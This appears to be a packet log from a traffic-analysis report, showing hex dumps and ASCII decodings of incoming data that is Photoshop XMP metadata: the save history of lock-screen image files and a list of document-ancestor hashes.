2022-07-20 17:09:01 UTC	5254	IN	Data Raw: 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 38 54 31 34 3a 30 32 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 Data Ascii: 0x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-03-28T14:02:24-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 201
2022-07-20 17:09:01 UTC	5270	IN	Data Raw: 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 36 34 30 38 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 Data Ascii: ;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-596408872_1080x1920.jpg saved 2017-04-27T09:10:59-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-04
2022-07-20 17:09:01 UTC	5278	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 31 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 37 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 32 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 34 3a 34 38 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: xA;2017-05-12T16:21:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait7.psd saved 2017-05-12T16:22:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-05-15T14:48:51-07:00 F
2022-07-20 17:09:01 UTC	5294	IN	Data Raw: 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 34 33 33 38 31 34 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 38 31 37 38 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 Data Ascii: indows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_shutterstock_114338140_1080x1920.jpg saved 2017-06-13T15:26:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_GettyImages-537817892_1080x1920.jpg saved&#
2022-07-20 17:09:01 UTC	5310	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 Data Ascii: ed 2017-07-26T13:24:34-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1080x1920.psd saved 2017-07-26T13:24:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mi
2022-07-20 17:09:01 UTC	5318	IN	Data Raw: 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 34 39 38 36 30 36 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 34 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 Data Ascii: neDrive_shutterstock_374986063_1080x1920.jpg saved 2017-08-03T16:14:13-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-08-03T2
2022-07-20 17:09:01 UTC	5334	IN	Data Raw: 74 65 72 73 74 6f 63 6b 5f 34 35 35 32 35 37 34 35 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 37 3a 31 33 3a 30 36 2d 30 37 3a 30 Data Ascii: terstock_455257450_1080x1920.jpg saved 2017-09-28T15:03:07-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-09-28T17:13:06-07:0
2022-07-20 17:09:01 UTC	5350	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 30 38 30 78 31 39 32 30 35 44 38 45 38 38 41 44 42 32 43 35 41 33 32 37 38 36 45 38 46 35 35 36 37 30 31 30 38 30 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 32 3a 35 38 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e Data Ascii: 9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_Alamy-DXD0FG_1080x19205D8E88ADB2C5A32786E8F556701080E5.psb saved 2017-11-16T12:58:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN
2022-07-20 17:09:01 UTC	5358	IN	Data Raw: 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 30 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 37 39 32 39 37 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 31 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c Data Ascii: 6_1080x1920.jpg saved 2017-12-04T11:40:12-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_shutterstock_357929792_1080x1920.jpg saved 2017-12-04T11:41:08-08:00 File C:\Users\
2022-07-20 17:09:01 UTC	5374	IN	Data Raw: 32 2d 32 30 54 32 33 3a 33 35 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 5f 53 70 6f 74 6c 69 67 68 74 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 31 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 36 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 Data Ascii: 2-20T23:35:24-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lock_Spotlight\Templates\Lockscreen_1080x1920_Portrait12.psd saved 2017-12-20T23:36:29-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lockscreens\Templates\Lockscreen_1080x
2022-07-20 17:09:01 UTC	5390	IN	Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 33 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 44 30 44 36 37 46 44 43 46 46 41 30 39 44 39 35 37 46 46 34 43 43 41 46 35 34 41 30 44 46 38 36 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: ettyImages-161928393_1080x1920.jpg saved 2018-01-31T13:37:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterOlympics_GettyImages-161928393_1080x1920D0D67FDCFFA09D957FF4CCAF54A0DF86.psb saved 2
2022-07-20 17:09:01 UTC	5397	IN	Data Raw: 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 36 32 35 35 36 36 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c Data Ascii: xA;2018-02-15T15:38:27-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_376255660_1080x1920.jpg saved 2018-02-15T15:38:31-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\
2022-07-20 17:09:01 UTC	5413	IN	Data Raw: 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 32 32 38 32 35 33 31 34 5f 31 30 38 30 78 31 39 32 30 39 35 37 37 43 42 42 46 41 39 43 35 35 39 33 44 34 30 34 43 37 46 41 42 45 46 45 30 38 31 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 34 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 Data Ascii: Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Mixer_GettyImages-922825314_1080x19209577CBBFA9C5593D404C7FABEFE0810F.psb saved 2018-03-21T15:44:44-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mi
2022-07-20 17:09:01 UTC	5429	IN	Data Raw: 41 46 36 45 42 45 32 46 45 32 38 37 33 35 35 43 37 43 45 34 30 31 39 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 39 45 36 39 34 33 35 44 32 36 33 30 34 32 34 45 35 33 42 39 34 44 44 39 31 45 42 44 37 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 30 41 41 31 34 39 46 41 33 39 37 37 34 44 30 36 37 46 38 36 45 33 45 31 43 41 32 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 46 42 43 32 41 35 39 35 39 37 37 30 31 37 38 45 30 41 34 38 44 30 36 43 38 32 37 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 36 37 37 34 38 38 46 36 30 38 35 32 39 43 37 34 43 33 45 39 44 33 42 45 32 32 36 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 43 35 42 41 30 38 36 33 Data Ascii: AF6EBE2FE287355C7CE401972C</rdf:li> <rdf:li>09E69435D2630424E53B94DD91EBD7C4</rdf:li> <rdf:li>0A00AA149FA39774D067F86E3E1CA2DE</rdf:li> <rdf:li>0A0FBC2A5959770178E0A48D06C8271D</rdf:li> <rdf:li>0A1677488F608529C74C3E9D3BE22620</rdf:li> <rdf:li>0A1C5BA0863
2022-07-20 17:09:01 UTC	5437	IN	Data Raw: 34 43 43 38 30 35 30 33 39 44 36 33 38 39 41 45 44 35 45 35 35 31 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 34 43 31 37 38 36 33 34 44 46 35 45 30 46 42 46 46 46 34 46 33 36 34 35 36 35 44 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 41 34 33 37 32 32 45 31 46 36 41 31 36 33 30 31 44 46 45 31 46 30 43 30 42 46 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 35 41 37 46 33 45 32 30 46 34 44 34 45 45 41 36 32 32 35 45 41 38 35 39 44 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 37 39 33 37 30 43 36 42 32 46 45 32 30 41 43 33 33 44 43 37 34 35 42 42 39 46 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 32 44 36 42 32 34 45 44 36 31 Data Ascii: 4CC805039D6389AED5E551F2</rdf:li> <rdf:li>1034C178634DF5E0FBFFF4F364565D5A</rdf:li> <rdf:li>103A43722E1F6A16301DFE1F0C0BF160</rdf:li> <rdf:li>103F5A7F3E20F4D4EEA6225EA859DB56</rdf:li> <rdf:li>103F79370C6B2FE20AC33DC745BB9F68</rdf:li> <rdf:li>1042D6B24ED61
2022-07-20 17:09:01 UTC	5453	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 31 44 39 46 38 45 42 36 36 31 36 37 37 36 38 45 34 46 30 39 46 46 46 30 39 31 38 34 44 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 41 33 35 32 35 36 44 31 45 41 42 32 45 32 44 36 34 37 44 33 46 36 45 33 46 46 42 45 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 43 43 36 46 42 35 46 30 38 35 46 39 41 44 41 34 43 31 42 38 46 32 44 33 30 39 38 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 45 36 30 36 46 42 30 43 34 37 35 44 44 34 34 46 37 39 36 43 44 42 37 46 37 42 41 41 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 46 36 41 43 46 30 43 32 45 34 46 43 35 43 35 37 31 31 41 36 44 38 31 43 39 31 38 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>1D9F8EB66167768E4F09FFF09184DF67</rdf:li> <rdf:li>1DA35256D1EAB2E2D647D3F6E3FFBE44</rdf:li> <rdf:li>1DCC6FB5F085F9ADA4C1B8F2D309842F</rdf:li> <rdf:li>1DE606FB0C475DD44F796CDB7F7BAA24</rdf:li> <rdf:li>1DF6ACF0C2E4FC5C5711A6D81C9189C9</rdf:li> <rdf:
2022-07-20 17:09:01 UTC	5469	IN	Data Raw: 31 43 46 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 39 30 44 34 43 41 39 32 46 36 43 44 41 33 39 36 37 42 37 38 38 30 38 42 37 39 39 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 35 30 31 43 41 42 37 46 46 34 33 32 44 43 39 35 31 39 37 44 30 44 34 39 36 34 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 41 42 39 35 39 41 32 46 33 30 41 36 37 34 36 36 39 36 41 41 46 30 32 32 39 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 46 35 31 36 37 46 31 41 32 35 35 45 37 39 41 45 31 45 41 45 32 38 43 33 43 32 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 43 37 33 31 46 41 44 34 43 46 41 32 44 36 30 43 32 34 45 30 46 45 32 33 42 32 32 45 44 Data Ascii: 1CF7DF</rdf:li> <rdf:li>2AB90D4CA92F6CDA3967B78808B799AC</rdf:li> <rdf:li>2ABB501CAB7FF432DC95197D0D4964E1</rdf:li> <rdf:li>2ABBAB959A2F30A6746696AAF0229D77</rdf:li> <rdf:li>2ABF5167F1A255E79AE1EAE28C3C2304</rdf:li> <rdf:li>2AC731FAD4CFA2D60C24E0FE23B22ED
2022-07-20 17:09:01 UTC	5477	IN	Data Raw: 3e 33 30 42 33 38 39 42 44 43 39 41 32 34 42 41 31 35 38 44 34 37 31 41 32 44 38 32 33 34 39 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 34 46 36 32 37 38 44 42 42 42 38 33 35 35 38 37 34 46 43 45 46 38 43 38 35 41 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 39 36 38 33 33 32 30 37 32 37 41 35 30 43 33 41 37 41 36 44 46 46 35 44 37 44 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 36 44 42 33 42 42 37 38 37 41 46 38 36 32 46 30 37 32 33 34 33 45 45 43 35 34 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 44 35 46 33 33 44 39 42 41 32 30 42 39 33 38 46 33 35 42 34 44 42 35 39 43 45 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 44 35 Data Ascii: >30B389BDC9A24BA158D471A2D8234940</rdf:li> <rdf:li>30B4F6278DBBB8355874FCEF8C85AB36</rdf:li> <rdf:li>30B9683320727A50C3A7A6DFF5D7DD0B</rdf:li> <rdf:li>30C6DB3BB787AF862F072343EEC54DDE</rdf:li> <rdf:li>30CD5F33D9BA20B938F35B4DB59CE65A</rdf:li> <rdf:li>30D5
2022-07-20 17:09:01 UTC	5493	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 46 45 43 46 46 30 46 38 30 39 37 44 36 38 37 46 34 42 33 31 37 30 36 30 31 37 33 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 33 35 38 39 38 34 36 46 43 36 46 42 44 34 41 34 39 36 38 45 42 42 32 37 35 31 44 46 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 34 35 41 37 31 39 34 30 32 36 45 43 31 32 31 41 41 37 38 46 45 41 38 45 38 36 38 42 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 35 31 39 38 42 37 45 36 42 32 46 35 36 44 41 44 32 42 36 39 33 32 37 33 46 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 37 39 37 31 36 41 30 42 45 45 32 33 32 46 32 41 46 34 46 45 44 43 39 32 34 46 35 45 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>3DFECFF0F8097D687F4B31706017342F</rdf:li> <rdf:li>3E3589846FC6FBD4A4968EBB2751DF99</rdf:li> <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li> <rdf:li>3E505198B7E6B2F56DAD2B693273F7C5</rdf:li> <rdf:li>3E5079716A0BEE232F2AF4FEDC924F5E</rdf:
